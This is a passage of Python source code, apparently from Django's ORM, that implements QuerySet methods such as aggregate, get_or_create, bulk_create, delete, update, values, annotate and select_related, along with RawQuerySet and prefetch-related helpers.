        if isinstance(other, EmptyQuerySet):
            return self
        combined = self._clone()
        combined._merge_known_related_objects(other)
        combined.query.combine(other.query, sql.OR)
        return combined

    ####################################
    # METHODS THAT DO DATABASE QUERIES #
    ####################################

    def iterator(self):
        """
        An iterator over the results from applying this QuerySet to the
        database.
        """
        return iter(self._iterable_class(self))

    def aggregate(self, *args, **kwargs):
        """
        Returns a dictionary containing the calculations (aggregation)
        over the current queryset

        If args is present the expression is passed as a kwarg using
        the Aggregate object's default alias.
        """
        if self.query.distinct_fields:
            raise NotImplementedError("aggregate() + distinct(fields) not implemented.")
        for arg in args:
            # The default_alias property may raise a TypeError, so we use
            # a try/except construct rather than hasattr in order to remain
            # consistent between PY2 and PY3 (hasattr would swallow
            # the TypeError on PY2).
            try:
                arg.default_alias
            except (AttributeError, TypeError):
                raise TypeError("Complex aggregates require an alias")
            kwargs[arg.default_alias] = arg

        query = self.query.clone()
        for (alias, aggregate_expr) in kwargs.items():
            query.add_annotation(aggregate_expr, alias, is_summary=True)
            if not query.annotations[alias].contains_aggregate:
                raise TypeError("%s is not an aggregate expression" % alias)
        return query.get_aggregation(self.db, kwargs.keys())

    def count(self):
        """
        Performs a SELECT COUNT() and returns the number of records as an
        integer.

        If the QuerySet is already fully cached this simply returns the length
        of the cached results set to avoid multiple SELECT COUNT(*) calls.
        """
        if self._result_cache is not None:
            return len(self._result_cache)

        return self.query.get_count(using=self.db)

    def get(self, *args, **kwargs):
        """
        Performs the query and returns a single object matching the given
        keyword arguments.
        """
        clone = self.filter(*args, **kwargs)
        if self.query.can_filter() and not self.query.distinct_fields:
            clone = clone.order_by()
        num = len(clone)
        if num == 1:
            return clone._result_cache[0]
        if not num:
            raise self.model.DoesNotExist(
                "%s matching query does not exist." %
                self.model._meta.object_name
            )
        raise self.model.MultipleObjectsReturned(
            "get() returned more than one %s -- it returned %s!" %
            (self.model._meta.object_name, num)
        )

    def create(self, **kwargs):
        """
        Creates a new object with the given kwargs, saving it to the database
        and returning the created object.
        """
        obj = self.model(**kwargs)
        self._for_write = True
        obj.save(force_insert=True, using=self.db)
        return obj

    def _populate_pk_values(self, objs):
        for obj in objs:
            if obj.pk is None:
                obj.pk = obj._meta.pk.get_pk_value_on_save(obj)

    def bulk_create(self, objs, batch_size=None):
        """
        Inserts each of the instances into the database. This does *not* call
        save() on each of the instances, does not send any pre/post save
        signals, and does not set the primary key attribute if it is an
        autoincrement field (except if features.can_return_ids_from_bulk_insert=True).
        Multi-table models are not supported.
        """
        # When you bulk insert you don't get the primary keys back (if it's an
        # autoincrement, except if can_return_ids_from_bulk_insert=True), so
        # you can't insert into the child tables which references this. There
        # are two workarounds:
        # 1) This could be implemented if you didn't have an autoincrement pk
        # 2) You could do it by doing O(n) normal inserts into the parent
        #    tables to get the primary keys back and then doing a single bulk
        #    insert into the childmost table.
        # We currently set the primary keys on the objects when using
        # PostgreSQL via the RETURNING ID clause. It should be possible for
        # Oracle as well, but the semantics for  extracting the primary keys is
        # trickier so it's not done yet.
        assert batch_size is None or batch_size > 0
        # Check that the parents share the same concrete model with the our
        # model to detect the inheritance pattern ConcreteGrandParent ->
        # MultiTableParent -> ProxyChild. Simply checking self.model._meta.proxy
        # would not identify that case as involving multiple tables.
        for parent in self.model._meta.get_parent_list():
            if parent._meta.concrete_model is not self.model._meta.concrete_model:
                raise ValueError("Can't bulk create a multi-table inherited model")
        if not objs:
            return objs
        self._for_write = True
        connection = connections[self.db]
        fields = self.model._meta.concrete_fields
        objs = list(objs)
        self._populate_pk_values(objs)
        with transaction.atomic(using=self.db, savepoint=False):
            if (connection.features.can_combine_inserts_with_and_without_auto_increment_pk and
                    self.model._meta.has_auto_field):
                self._batched_insert(objs, fields, batch_size)
            else:
                objs_with_pk, objs_without_pk = partition(lambda o: o.pk is None, objs)
                if objs_with_pk:
                    self._batched_insert(objs_with_pk, fields, batch_size)
                if objs_without_pk:
                    fields = [f for f in fields if not isinstance(f, AutoField)]
                    ids = self._batched_insert(objs_without_pk, fields, batch_size)
                    if connection.features.can_return_ids_from_bulk_insert:
                        assert len(ids) == len(objs_without_pk)
                    for obj_without_pk, pk in zip(objs_without_pk, ids):
                        obj_without_pk.pk = pk
                        obj_without_pk._state.adding = False
                        obj_without_pk._state.db = self.db

        return objs

    def get_or_create(self, defaults=None, **kwargs):
        """
        Looks up an object with the given kwargs, creating one if necessary.
        Returns a tuple of (object, created), where created is a boolean
        specifying whether an object was created.
        """
        lookup, params = self._extract_model_params(defaults, **kwargs)
        # The get() needs to be targeted at the write database in order
        # to avoid potential transaction consistency problems.
        self._for_write = True
        try:
            return self.get(**lookup), False
        except self.model.DoesNotExist:
            return self._create_object_from_params(lookup, params)

    def update_or_create(self, defaults=None, **kwargs):
        """
        Looks up an object with the given kwargs, updating one with defaults
        if it exists, otherwise creates a new one.
        Returns a tuple (object, created), where created is a boolean
        specifying whether an object was created.
        """
        defaults = defaults or {}
        lookup, params = self._extract_model_params(defaults, **kwargs)
        self._for_write = True
        with transaction.atomic(using=self.db):
            try:
                obj = self.select_for_update().get(**lookup)
            except self.model.DoesNotExist:
                obj, created = self._create_object_from_params(lookup, params)
                if created:
                    return obj, created
            for k, v in six.iteritems(defaults):
                setattr(obj, k, v() if callable(v) else v)
            obj.save(using=self.db)
        return obj, False

    def _create_object_from_params(self, lookup, params):
        """
        Tries to create an object using passed params.
        Used by get_or_create and update_or_create
        """
        try:
            with transaction.atomic(using=self.db):
                params = {k: v() if callable(v) else v for k, v in params.items()}
                obj = self.create(**params)
            return obj, True
        except IntegrityError:
            exc_info = sys.exc_info()
            try:
                return self.get(**lookup), False
            except self.model.DoesNotExist:
                pass
            six.reraise(*exc_info)

    def _extract_model_params(self, defaults, **kwargs):
        """
        Prepares `lookup` (kwargs that are valid model attributes), `params`
        (for creating a model instance) based on given kwargs; for use by
        get_or_create and update_or_create.
        """
        defaults = defaults or {}
        lookup = kwargs.copy()
        for f in self.model._meta.fields:
            if f.attname in lookup:
                lookup[f.name] = lookup.pop(f.attname)
        params = {k: v for k, v in kwargs.items() if LOOKUP_SEP not in k}
        params.update(defaults)
        return lookup, params

    def _earliest_or_latest(self, field_name=None, direction="-"):
        """
        Returns the latest object, according to the model's
        'get_latest_by' option or optional given field_name.
        """
        order_by = field_name or getattr(self.model._meta, 'get_latest_by')
        assert bool(order_by), "earliest() and latest() require either a "\
            "field_name parameter or 'get_latest_by' in the model"
        assert self.query.can_filter(), \
            "Cannot change a query once a slice has been taken."
        obj = self._clone()
        obj.query.set_limits(high=1)
        obj.query.clear_ordering(force_empty=True)
        obj.query.add_ordering('%s%s' % (direction, order_by))
        return obj.get()

    def earliest(self, field_name=None):
        return self._earliest_or_latest(field_name=field_name, direction="")

    def latest(self, field_name=None):
        return self._earliest_or_latest(field_name=field_name, direction="-")

    def first(self):
        """
        Returns the first object of a query, returns None if no match is found.
        """
        objects = list((self if self.ordered else self.order_by('pk'))[:1])
        if objects:
            return objects[0]
        return None

    def last(self):
        """
        Returns the last object of a query, returns None if no match is found.
        """
        objects = list((self.reverse() if self.ordered else self.order_by('-pk'))[:1])
        if objects:
            return objects[0]
        return None

    def in_bulk(self, id_list=None):
        """
        Returns a dictionary mapping each of the given IDs to the object with
        that ID. If `id_list` isn't provided, the entire QuerySet is evaluated.
        """
        assert self.query.can_filter(), \
            "Cannot use 'limit' or 'offset' with in_bulk"
        if id_list is not None:
            if not id_list:
                return {}
            qs = self.filter(pk__in=id_list).order_by()
        else:
            qs = self._clone()
        return {obj._get_pk_val(): obj for obj in qs}

    def delete(self):
        """
        Deletes the records in the current QuerySet.
        """
        assert self.query.can_filter(), \
            "Cannot use 'limit' or 'offset' with delete."

        if self._fields is not None:
            raise TypeError("Cannot call delete() after .values() or .values_list()")

        del_query = self._clone()

        # The delete is actually 2 queries - one to find related objects,
        # and one to delete. Make sure that the discovery of related
        # objects is performed on the same database as the deletion.
        del_query._for_write = True

        # Disable non-supported fields.
        del_query.query.select_for_update = False
        del_query.query.select_related = False
        del_query.query.clear_ordering(force_empty=True)

        collector = Collector(using=del_query.db)
        collector.collect(del_query)
        deleted, _rows_count = collector.delete()

        # Clear the result cache, in case this QuerySet gets reused.
        self._result_cache = None
        return deleted, _rows_count

    delete.alters_data = True
    delete.queryset_only = True

    def _raw_delete(self, using):
        """
        Deletes objects found from the given queryset in single direct SQL
        query. No signals are sent, and there is no protection for cascades.
        """
        return sql.DeleteQuery(self.model).delete_qs(self, using)
    _raw_delete.alters_data = True

    def update(self, **kwargs):
        """
        Updates all elements in the current QuerySet, setting all the given
        fields to the appropriate values.
        """
        assert self.query.can_filter(), \
            "Cannot update a query once a slice has been taken."
        self._for_write = True
        query = self.query.clone(sql.UpdateQuery)
        query.add_update_values(kwargs)
        # Clear any annotations so that they won't be present in subqueries.
        query._annotations = None
        with transaction.atomic(using=self.db, savepoint=False):
            rows = query.get_compiler(self.db).execute_sql(CURSOR)
        self._result_cache = None
        return rows
    update.alters_data = True

    def _update(self, values):
        """
        A version of update that accepts field objects instead of field names.
        Used primarily for model saving and not intended for use by general
        code (it requires too much poking around at model internals to be
        useful at that level).
        """
        assert self.query.can_filter(), \
            "Cannot update a query once a slice has been taken."
        query = self.query.clone(sql.UpdateQuery)
        query.add_update_fields(values)
        self._result_cache = None
        return query.get_compiler(self.db).execute_sql(CURSOR)
    _update.alters_data = True
    _update.queryset_only = False

    def exists(self):
        if self._result_cache is None:
            return self.query.has_results(using=self.db)
        return bool(self._result_cache)

    def _prefetch_related_objects(self):
        # This method can only be called once the result cache has been filled.
        prefetch_related_objects(self._result_cache, *self._prefetch_related_lookups)
        self._prefetch_done = True

    ##################################################
    # PUBLIC METHODS THAT RETURN A QUERYSET SUBCLASS #
    ##################################################

    def raw(self, raw_query, params=None, translations=None, using=None):
        if using is None:
            using = self.db
        return RawQuerySet(raw_query, model=self.model, params=params, translations=translations, using=using)

    def _values(self, *fields, **expressions):
        clone = self._clone()
        if expressions:
            clone = clone.annotate(**expressions)
        clone._fields = fields
        clone.query.set_values(fields)
        return clone

    def values(self, *fields, **expressions):
        fields += tuple(expressions)
        clone = self._values(*fields, **expressions)
        clone._iterable_class = ValuesIterable
        return clone

    def values_list(self, *fields, **kwargs):
        flat = kwargs.pop('flat', False)
        if kwargs:
            raise TypeError('Unexpected keyword arguments to values_list: %s' % (list(kwargs),))

        if flat and len(fields) > 1:
            raise TypeError("'flat' is not valid when values_list is called with more than one field.")

        _fields = []
        expressions = {}
        for field in fields:
            if hasattr(field, 'resolve_expression'):
                field_id = str(id(field))
                expressions[field_id] = field
                _fields.append(field_id)
            else:
                _fields.append(field)

        clone = self._values(*_fields, **expressions)
        clone._iterable_class = FlatValuesListIterable if flat else ValuesListIterable
        return clone

    def dates(self, field_name, kind, order='ASC'):
        """
        Returns a list of date objects representing all available dates for
        the given field_name, scoped to 'kind'.
        """
        assert kind in ("year", "month", "day"), \
            "'kind' must be one of 'year', 'month' or 'day'."
        assert order in ('ASC', 'DESC'), \
            "'order' must be either 'ASC' or 'DESC'."
        return self.annotate(
            datefield=Trunc(field_name, kind, output_field=DateField()),
            plain_field=F(field_name)
        ).values_list(
            'datefield', flat=True
        ).distinct().filter(plain_field__isnull=False).order_by(('-' if order == 'DESC' else '') + 'datefield')

    def datetimes(self, field_name, kind, order='ASC', tzinfo=None):
        """
        Returns a list of datetime objects representing all available
        datetimes for the given field_name, scoped to 'kind'.
        """
        assert kind in ("year", "month", "day", "hour", "minute", "second"), \
            "'kind' must be one of 'year', 'month', 'day', 'hour', 'minute' or 'second'."
        assert order in ('ASC', 'DESC'), \
            "'order' must be either 'ASC' or 'DESC'."
        if settings.USE_TZ:
            if tzinfo is None:
                tzinfo = timezone.get_current_timezone()
        else:
            tzinfo = None
        return self.annotate(
            datetimefield=Trunc(field_name, kind, output_field=DateTimeField(), tzinfo=tzinfo),
            plain_field=F(field_name)
        ).values_list(
            'datetimefield', flat=True
        ).distinct().filter(plain_field__isnull=False).order_by(('-' if order == 'DESC' else '') + 'datetimefield')

    def none(self):
        """
        Returns an empty QuerySet.
        """
        clone = self._clone()
        clone.query.set_empty()
        return clone

    ##################################################################
    # PUBLIC METHODS THAT ALTER ATTRIBUTES AND RETURN A NEW QUERYSET #
    ##################################################################

    def all(self):
        """
        Returns a new QuerySet that is a copy of the current one. This allows a
        QuerySet to proxy for a model manager in some cases.
        """
        return self._clone()

    def filter(self, *args, **kwargs):
        """
        Returns a new QuerySet instance with the args ANDed to the existing
        set.
        """
        return self._filter_or_exclude(False, *args, **kwargs)

    def exclude(self, *args, **kwargs):
        """
        Returns a new QuerySet instance with NOT (args) ANDed to the existing
        set.
        """
        return self._filter_or_exclude(True, *args, **kwargs)

    def _filter_or_exclude(self, negate, *args, **kwargs):
        if args or kwargs:
            assert self.query.can_filter(), \
                "Cannot filter a query once a slice has been taken."

        clone = self._clone()
        if negate:
            clone.query.add_q(~Q(*args, **kwargs))
        else:
            clone.query.add_q(Q(*args, **kwargs))
        return clone

    def complex_filter(self, filter_obj):
        """
        Returns a new QuerySet instance with filter_obj added to the filters.

        filter_obj can be a Q object (or anything with an add_to_query()
        method) or a dictionary of keyword lookup arguments.

        This exists to support framework features such as 'limit_choices_to',
        and usually it will be more natural to use other methods.
        """
        if isinstance(filter_obj, Q) or hasattr(filter_obj, 'add_to_query'):
            clone = self._clone()
            clone.query.add_q(filter_obj)
            return clone
        else:
            return self._filter_or_exclude(None, **filter_obj)

    def select_for_update(self, nowait=False, skip_locked=False):
        """
        Returns a new QuerySet instance that will select objects with a
        FOR UPDATE lock.
        """
        if nowait and skip_locked:
            raise ValueError('The nowait option cannot be used with skip_locked.')
        obj = self._clone()
        obj._for_write = True
        obj.query.select_for_update = True
        obj.query.select_for_update_nowait = nowait
        obj.query.select_for_update_skip_locked = skip_locked
        return obj

    def select_related(self, *fields):
        """
        Returns a new QuerySet instance that will select related objects.

        If fields are specified, they must be ForeignKey fields and only those
        related objects are included in the selection.

        If select_related(None) is called, the list is cleared.
        """

        if self._fields is not None:
            raise TypeError("Cannot call select_related() after .values() or .values_list()")

        obj = self._clone()
        if fields == (None,):
            obj.query.select_related = False
        elif fields:
            obj.query.add_select_related(fields)
        else:
            obj.query.select_related = True
        return obj

    def prefetch_related(self, *lookups):
        """
        Returns a new QuerySet instance that will prefetch the specified
        Many-To-One and Many-To-Many related objects when the QuerySet is
        evaluated.

        When prefetch_related() is called more than once, the list of lookups to
        prefetch is appended to. If prefetch_related(None) is called, the list
        is cleared.
        """
        clone = self._clone()
        if lookups == (None,):
            clone._prefetch_related_lookups = []
        else:
            clone._prefetch_related_lookups.extend(lookups)
        return clone

    def annotate(self, *args, **kwargs):
        """
        Return a query set in which the returned objects have been annotated
        with extra data or aggregations.
        """
        annotations = OrderedDict()  # To preserve ordering of args
        for arg in args:
            # The default_alias property may raise a TypeError, so we use
            # a try/except construct rather than hasattr in order to remain
            # consistent between PY2 and PY3 (hasattr would swallow
            # the TypeError on PY2).
            try:
                if arg.default_alias in kwargs:
                    raise ValueError("The named annotation '%s' conflicts with the "
                                     "default name for another annotation."
                                     % arg.default_alias)
            except (AttributeError, TypeError):
                raise TypeError("Complex annotations require an alias")
            annotations[arg.default_alias] = arg
        annotations.update(kwargs)

        clone = self._clone()
        names = self._fields
        if names is None:
            names = {f.name for f in self.model._meta.get_fields()}

        for alias, annotation in annotations.items():
            if alias in names:
                raise ValueError("The annotation '%s' conflicts with a field on "
                                 "the model." % alias)
            clone.query.add_annotation(annotation, alias, is_summary=False)

        for alias, annotation in clone.query.annotations.items():
            if alias in annotations and annotation.contains_aggregate:
                if clone._fields is None:
                    clone.query.group_by = True
                else:
                    clone.query.set_group_by()
                break

        return clone

    def order_by(self, *field_names):
        """
        Returns a new QuerySet instance with the ordering changed.
        """
        assert self.query.can_filter(), \
            "Cannot reorder a query once a slice has been taken."
        obj = self._clone()
        obj.query.clear_ordering(force_empty=False)
        obj.query.add_ordering(*field_names)
        return obj

    def distinct(self, *field_names):
        """
        Returns a new QuerySet instance that will select only distinct results.
        """
        assert self.query.can_filter(), \
            "Cannot create distinct fields once a slice has been taken."
        obj = self._clone()
        obj.query.add_distinct_fields(*field_names)
        return obj

    def extra(self, select=None, where=None, params=None, tables=None,
              order_by=None, select_params=None):
        """
        Adds extra SQL fragments to the query.
        """
        assert self.query.can_filter(), \
            "Cannot change a query once a slice has been taken"
        clone = self._clone()
        clone.query.add_extra(select, select_params, where, params, tables, order_by)
        return clone

    def reverse(self):
        """
        Reverses the ordering of the QuerySet.
        """
        clone = self._clone()
        clone.query.standard_ordering = not clone.query.standard_ordering
        return clone

    def defer(self, *fields):
        """
        Defers the loading of data for certain fields until they are accessed.
        The set of fields to defer is added to any existing set of deferred
        fields. The only exception to this is if None is passed in as the only
        parameter, in which case all deferrals are removed (None acts as a
        reset option).
        """
        if self._fields is not None:
            raise TypeError("Cannot call defer() after .values() or .values_list()")
        clone = self._clone()
        if fields == (None,):
            clone.query.clear_deferred_loading()
        else:
            clone.query.add_deferred_loading(fields)
        return clone

    def only(self, *fields):
        """
        Essentially, the opposite of defer. Only the fields passed into this
        method and that are not already specified as deferred are loaded
        immediately when the queryset is evaluated.
        """
        if self._fields is not None:
            raise TypeError("Cannot call only() after .values() or .values_list()")
        if fields == (None,):
            # Can only pass None to defer(), not only(), as the rest option.
            # That won't stop people trying to do this, so let's be explicit.
            raise TypeError("Cannot pass None as an argument to only().")
        clone = self._clone()
        clone.query.add_immediate_loading(fields)
        return clone

    def using(self, alias):
        """
        Selects which database this QuerySet should execute its query against.
        """
        clone = self._clone()
        clone._db = alias
        return clone

    ###################################
    # PUBLIC INTROSPECTION ATTRIBUTES #
    ###################################

    def ordered(self):
        """
        Returns True if the QuerySet is ordered -- i.e. has an order_by()
        clause or a default ordering on the model.
        """
        if self.query.extra_order_by or self.query.order_by:
            return True
        elif self.query.default_ordering and self.query.get_meta().ordering:
            return True
        else:
            return False
    ordered = property(ordered)

    @property
    def db(self):
        "Return the database that will be used if this query is executed now"
        if self._for_write:
            return self._db or router.db_for_write(self.model, **self._hints)
        return self._db or router.db_for_read(self.model, **self._hints)

    ###################
    # PRIVATE METHODS #
    ###################

    def _insert(self, objs, fields, return_id=False, raw=False, using=None):
        """
        Inserts a new record for the given model. This provides an interface to
        the InsertQuery class and is how Model.save() is implemented.
        """
        self._for_write = True
        if using is None:
            using = self.db
        query = sql.InsertQuery(self.model)
        query.insert_values(fields, objs, raw=raw)
        return query.get_compiler(using=using).execute_sql(return_id)
    _insert.alters_data = True
    _insert.queryset_only = False

    def _batched_insert(self, objs, fields, batch_size):
        """
        A little helper method for bulk_insert to insert the bulk one batch
        at a time. Inserts recursively a batch from the front of the bulk and
        then _batched_insert() the remaining objects again.
        """
        if not objs:
            return
        ops = connections[self.db].ops
        batch_size = (batch_size or max(ops.bulk_batch_size(fields, objs), 1))
        inserted_ids = []
        for item in [objs[i:i + batch_size] for i in range(0, len(objs), batch_size)]:
            if connections[self.db].features.can_return_ids_from_bulk_insert:
                inserted_id = self._insert(item, fields=fields, using=self.db, return_id=True)
                if len(objs) > 1:
                    inserted_ids.extend(inserted_id)
                if len(objs) == 1:
                    inserted_ids.append(inserted_id)
            else:
                self._insert(item, fields=fields, using=self.db)
        return inserted_ids

    def _clone(self, **kwargs):
        query = self.query.clone()
        if self._sticky_filter:
            query.filter_is_sticky = True
        clone = self.__class__(model=self.model, query=query, using=self._db, hints=self._hints)
        clone._for_write = self._for_write
        clone._prefetch_related_lookups = self._prefetch_related_lookups[:]
        clone._known_related_objects = self._known_related_objects
        clone._iterable_class = self._iterable_class
        clone._fields = self._fields

        clone.__dict__.update(kwargs)
        return clone

    def _fetch_all(self):
        if self._result_cache is None:
            self._result_cache = list(self.iterator())
        if self._prefetch_related_lookups and not self._prefetch_done:
            self._prefetch_related_objects()

    def _next_is_sticky(self):
        """
        Indicates that the next filter call and the one following that should
        be treated as a single filter. This is only important when it comes to
        determining when to reuse tables for many-to-many filters. Required so
        that we can filter naturally on the results of related managers.

        This doesn't return a clone of the current QuerySet (it returns
        "self"). The method is only used internally and should be immediately
        followed by a filter() that does create a clone.
        """
        self._sticky_filter = True
        return self

    def _merge_sanity_check(self, other):
        """
        Checks that we are merging two comparable QuerySet classes.
        """
        if self._fields is not None and (
                set(self.query.values_select) != set(other.query.values_select) or
                set(self.query.extra_select) != set(other.query.extra_select) or
                set(self.query.annotation_select) != set(other.query.annotation_select)):
            raise TypeError(
                "Merging '%s' classes must involve the same values in each case."
                % self.__class__.__name__
            )

    def _merge_known_related_objects(self, other):
        """
        Keep track of all known related objects from either QuerySet instance.
        """
        for field, objects in other._known_related_objects.items():
            self._known_related_objects.setdefault(field, {}).update(objects)

    def _prepare(self, field):
        if self._fields is not None:
            # values() queryset can only be used as nested queries
            # if they are set up to select only a single field.
            if len(self._fields or self.model._meta.concrete_fields) > 1:
                raise TypeError('Cannot use multi-field values as a filter value.')
        elif self.model != field.model:
            # If the query is used as a subquery for a ForeignKey with non-pk
            # target field, make sure to select the target field in the subquery.
            foreign_fields = getattr(field, 'foreign_related_fields', ())
            if len(foreign_fields) == 1 and not foreign_fields[0].primary_key:
                return self.values(foreign_fields[0].name)
        return self

    def _as_sql(self, connection):
        """
        Returns the internal query's SQL and parameters (as a tuple).
        """
        if self._fields is not None:
            # values() queryset can only be used as nested queries
            # if they are set up to select only a single field.
            if len(self._fields or self.model._meta.concrete_fields) > 1:
                raise TypeError('Cannot use multi-field values as a filter value.')
            clone = self._clone()
        else:
            clone = self.values('pk')

        if clone._db is None or connection == connections[clone._db]:
            return clone.query.get_compiler(connection=connection).as_nested_sql()
        raise ValueError("Can't do subqueries with queries on different DBs.")

    # When used as part of a nested query, a queryset will never be an "always
    # empty" result.
    value_annotation = True

    def _add_hints(self, **hints):
        """
        Update hinting information for later use by Routers
        """
        # If there is any hinting information, add it to what we already know.
        # If we have a new hint for an existing key, overwrite with the new value.
        self._hints.update(hints)

    def _has_filters(self):
        """
        Checks if this QuerySet has any filtering going on. Note that this
        isn't equivalent for checking if all objects are present in results,
        for example qs[1:]._has_filters() -> False.
        """
        return self.query.has_filters()

    def is_compatible_query_object_type(self, opts, field):
        """
        Check that using this queryset as the rhs value for a lookup is
        allowed. The opts are the options of the relation's target we are
        querying against. For example in .filter(author__in=Author.objects.all())
        the opts would be Author's (from the author field) and self.model would
        be Author.objects.all() queryset's .model (Author also). The field is
        the related field on the lhs side.
        """
        # We trust that users of values() know what they are doing.
        if self._fields is not None:
            return True
        return check_rel_lookup_compatibility(self.model, opts, field)
    is_compatible_query_object_type.queryset_only = True


class InstanceCheckMeta(type):
    def __instancecheck__(self, instance):
        return isinstance(instance, QuerySet) and instance.query.is_empty()


class EmptyQuerySet(six.with_metaclass(InstanceCheckMeta)):
    """
    Marker class usable for checking if a queryset is empty by .none():
        isinstance(qs.none(), EmptyQuerySet) -> True
    """

    def __init__(self, *args, **kwargs):
        raise TypeError("EmptyQuerySet can't be instantiated")


class RawQuerySet(object):
    """
    Provides an iterator which converts the results of raw SQL queries into
    annotated model instances.
    """
    def __init__(self, raw_query, model=None, query=None, params=None,
                 translations=None, using=None, hints=None):
        self.raw_query = raw_query
        self.model = model
        self._db = using
        self._hints = hints or {}
        self.query = query or sql.RawQuery(sql=raw_query, using=self.db, params=params)
        self.params = params or ()
        self.translations = translations or {}

    def resolve_model_init_order(self):
        """
        Resolve the init field names and value positions
        """
        model_init_fields = [f for f in self.model._meta.fields if f.column in self.columns]
        annotation_fields = [(column, pos) for pos, column in enumerate(self.columns)
                             if column not in self.model_fields]
        model_init_order = [self.columns.index(f.column) for f in model_init_fields]
        model_init_names = [f.attname for f in model_init_fields]
        return model_init_names, model_init_order, annotation_fields

    def __iter__(self):
        # Cache some things for performance reasons outside the loop.
        db = self.db
        compiler = connections[db].ops.compiler('SQLCompiler')(
            self.query, connections[db], db
        )

        query = iter(self.query)

        try:
            model_init_names, model_init_pos, annotation_fields = self.resolve_model_init_order()

            # Find out which model's fields are not present in the query.
            skip = set()
            for field in self.model._meta.fields:
                if field.attname not in model_init_names:
                    skip.add(field.attname)
            if skip:
                if self.model._meta.pk.attname in skip:
                    raise InvalidQuery('Raw query must include the primary key')
            model_cls = self.model
            fields = [self.model_fields.get(c) for c in self.columns]
            converters = compiler.get_converters([
                f.get_col(f.model._meta.db_table) if f else None for f in fields
            ])
            for values in query:
                if converters:
                    values = compiler.apply_converters(values, converters)
                # Associate fields to values
                model_init_values = [values[pos] for pos in model_init_pos]
                instance = model_cls.from_db(db, model_init_names, model_init_values)
                if annotation_fields:
                    for column, pos in annotation_fields:
                        setattr(instance, column, values[pos])
                yield instance
        finally:
            # Done iterating the Query. If it has its own cursor, close it.
            if hasattr(self.query, 'cursor') and self.query.cursor:
                self.query.cursor.close()

    def __repr__(self):
        return "<RawQuerySet: %s>" % self.query

    def __getitem__(self, k):
        return list(self)[k]

    @property
    def db(self):
        "Return the database that will be used if this query is executed now"
        return self._db or router.db_for_read(self.model, **self._hints)

    def using(self, alias):
        """
        Selects which database this Raw QuerySet should execute its query against.
        """
        return RawQuerySet(
            self.raw_query, model=self.model,
            query=self.query.clone(using=alias),
            params=self.params, translations=self.translations,
            using=alias,
        )

    @property
    def columns(self):
        """
        A list of model field names in the order they'll appear in the
        query results.
        """
        if not hasattr(self, '_columns'):
            self._columns = self.query.get_columns()

            # Adjust any column names which don't match field names
            for (query_name, model_name) in self.translations.items():
                try:
                    index = self._columns.index(query_name)
                    self._columns[index] = model_name
                except ValueError:
                    # Ignore translations for non-existent column names
                    pass

        return self._columns

    @property
    def model_fields(self):
        """
        A dict mapping column names to model field names.
        """
        if not hasattr(self, '_model_fields'):
            converter = connections[self.db].introspection.table_name_converter
            self._model_fields = {}
            for field in self.model._meta.fields:
                name, column = field.get_attname_column()
                self._model_fields[converter(column)] = field
        return self._model_fields


class Prefetch(object):
    def __init__(self, lookup, queryset=None, to_attr=None):
        # `prefetch_through` is the path we traverse to perform the prefetch.
        self.prefetch_through = lookup
        # `prefetch_to` is the path to the attribute that stores the result.
        self.prefetch_to = lookup
        if queryset is not None and queryset._iterable_class is not ModelIterable:
            raise ValueError('Prefetch querysets cannot use values().')
        if to_attr:
            self.prefetch_to = LOOKUP_SEP.join(lookup.split(LOOKUP_SEP)[:-1] + [to_attr])

        self.queryset = queryset
        self.to_attr = to_attr

    def add_prefix(self, prefix):
        self.prefetch_through = LOOKUP_SEP.join([prefix, self.prefetch_through])
        self.prefetch_to = LOOKUP_SEP.join([prefix, self.prefetch_to])

    def get_current_prefetch_through(self, level):
        return LOOKUP_SEP.join(self.prefetch_through.split(LOOKUP_SEP)[:level + 1])

    def get_current_prefetch_to(self, level):
        return LOOKUP_SEP.join(self.prefetch_to.split(LOOKUP_SEP)[:level + 1])

    def get_current_to_attr(self, level):
        parts = self.prefetch_to.split(LOOKUP_SEP)
        to_attr = parts[level]
        as_attr = self.to_attr and level == len(parts) - 1
        return to_attr, as_attr

    def get_current_queryset(self, level):
        if self.get_current_prefetch_to(level) == self.prefetch_to:
            return self.queryset
        return None

    def __eq__(self, other):
        if isinstance(other, Prefetch):
            return self.prefetch_to == other.prefetch_to
        return False

    def __hash__(self):
        return hash(self.__class__) ^ hash(self.prefetch_to)


def normalize_prefetch_lookups(lookups, prefix=None):
    """
    Helper function that normalize lookups into Prefetch objects.
    """
    ret = []
    for lookup in lookups:
        if not isinstance(lookup, Prefetch):
            lookup = Prefetch(lookup)
        if prefix:
            lookup.add_prefix(prefix)
        ret.append(lookup)
    return ret


def prefetch_related_objects(model_instances, *related_lookups):
    """
    Populate prefetched object caches for a list of model instances based on
    the lookups/Prefetch instances given.
    """
    if len(model_instances) == 0:
        return  # nothing to do

    related_lookups = normalize_prefetch_lookups(related_lookups)

    # We need to be able to dynamically add to the list of prefetch_related
    # lookups that we look up (see below).  So we need some book keeping to
    # ensure we don't do duplicate work.
    done_queries = {}    # dictionary of things like 'foo__bar': [results]

    auto_lookups = set()  # we add to this as we go through.
    followed_descriptors = set()  # recursion protection

    all_lookups = deque(related_lookups)
    while all_lookups:
        lookup = all_lookups.popleft()
        if lookup.prefetch_to in done_queries:
            if lookup.queryset:
                raise ValueError("'%s' lookup was already seen with a different queryset. "
                                 "You may need to adjust the ordering of your lookups." % lookup.prefetch_to)

            continue

        # Top level, the list of objects to decorate is the result cache
        # from the primary QuerySet. It won't be for deeper levels.
        obj_list = model_instances

        through_attrs = lookup.prefetch_through.split(LOOKUP_SEP)
        for level, through_attr in enumerate(through_attrs):
            # Prepare main instances
            if len(obj_list) == 0:
                break

            prefetch_to = lookup.get_current_prefetch_to(level)
            if prefetch_to in done_queries:
                # Skip any prefetching, and any object preparation
                obj_list = done_queries[prefetch_to]
                continue

            # Prepare objects:
            good_objects = True
            for obj in obj_list:
                # Since prefetching can re-use instances, it is possible to have
                # the same instance multiple times in obj_list, so obj might
                # already be prepared.
                if not hasattr(obj, '_prefetched_objects_cache'):
                    try:
                        obj._prefetched_objects_cache = {}
                    except (AttributeError, TypeError):
                        # Must be an immutable object from
                        # values_list(flat=True), for example (TypeError) or
                        # a QuerySet subclass that isn't returning Model
                        # instances (AttributeError), either in Django or a 3rd
                        # party. prefetch_related() doesn't make sense, so quit.
                        good_objects = False
                        break
            if not good_objects:
                break

            # Descend down tree

            # We assume that objects retrieved are homogeneous (which is the premise
            # of prefetch_related), so what applies to first object applies to all.
            first_obj = obj_list[0]
            to_attr = lookup.get_current_to_attr(level)[0]
            prefetcher, descriptor, attr_found, is_fetched = get_prefetcher(first_obj, through_attr, to_attr)

            if not attr_found:
                raise AttributeError("Cannot find '%s' on %s object, '%s' is an invalid "
                                     "parameter to prefetch_related()" %
